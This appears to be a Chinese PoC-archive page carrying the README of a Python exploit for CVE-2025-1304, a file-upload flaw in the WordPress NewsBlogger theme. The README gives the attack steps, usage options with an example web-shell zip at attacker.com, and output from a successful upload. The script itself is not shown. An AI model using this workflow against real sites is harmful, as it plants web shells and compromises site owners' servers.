目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2025-1304 PoC — WordPress plugin NewsBlogger 安全漏洞

来源
关联漏洞
标题: WordPress plugin NewsBlogger 安全漏洞 (CVE-2025-1304)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin NewsBlogger 0.2.5.1及之前版本存在安全漏洞,该漏洞源于缺少能力检查,可能导致任意文件上传。
Description
 WordPress NewsBlogger Theme <= 0.2.5.1 is vulnerable to Arbitrary File Upload 
介绍

# 🚨 WordPress NewsBlogger Theme <= 0.2.5.1 - Arbitrary File Upload (CVE-2025-1304)

**CVSS Score:** 8.8 (High)  
**Vulnerability Type:** Arbitrary File Upload  
**Component:** WordPress Theme  
**CVE ID:** CVE-2025-1304  

---

## 🔥 Vulnerability Overview

The `NewsBlogger` WordPress theme (versions <= 0.2.5.1) is vulnerable to an **Arbitrary File Upload** via the admin welcome panel.

This vulnerability allows any authenticated user — including those with the minimal **Subscriber** role — to upload a malicious `.zip` archive containing a web shell.  
The upload occurs through an unvalidated plugin URL field, which fails to properly verify the content or type of the uploaded file.

A successful attack could lead to full compromise of the website, including remote command execution and privilege escalation.

---

## 🧠 Script Details

This Python script automates the exploitation of the vulnerability by:
- Logging in using supplied admin credentials.
- Extracting the `nonce` dynamically from the vulnerable welcome page.
- Uploading a remote malicious plugin via the vulnerable AJAX endpoint.

---

## ⚙️ Usage Instructions

```bash
python CVE-2025-1304.py -h
```

```text
usage: a.py [-h] --url URL --username USERNAME --password PASSWORD --shellweb SHELLWEB

WordPress NewsBlogger Theme vulnerable to Arbitrary File Upload #By: Nxploited ( Khaled Alenazi )

options:
  -h, --help                show this help message and exit
  --url, -u URL             Target base URL (e.g., http://target/wordpress)
  --username, -un USERNAME WordPress admin username
  --password, -p PASSWORD   WordPress admin password
  --shellweb, -shell SHELLWEB
                           Direct URL to the malicious shell zip (e.g., http://attacker.com/shell.zip)
```

---

## 📤 Example Output

```text
[+] Logging in to http://target/wordpress/wp-login.php
[+] Logged in successfully.
[+] Fetching welcome page to extract nonce: http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome
[+] Extracted nonce: 012818100b
[+] Sending malicious plugin URL to: http://target/wordpress/wp-admin/admin-ajax.php
[+] Server response:
{"success":true,"data":{"redirect_url":"http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome"}}
```

---

## ⚠️ Disclaimer

This code is provided for **educational and authorized security testing** purposes only.  
The author assumes no responsibility for any misuse or damage caused by this tool.

---

*By: Nxploited ( Khaled Alenazi)*
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →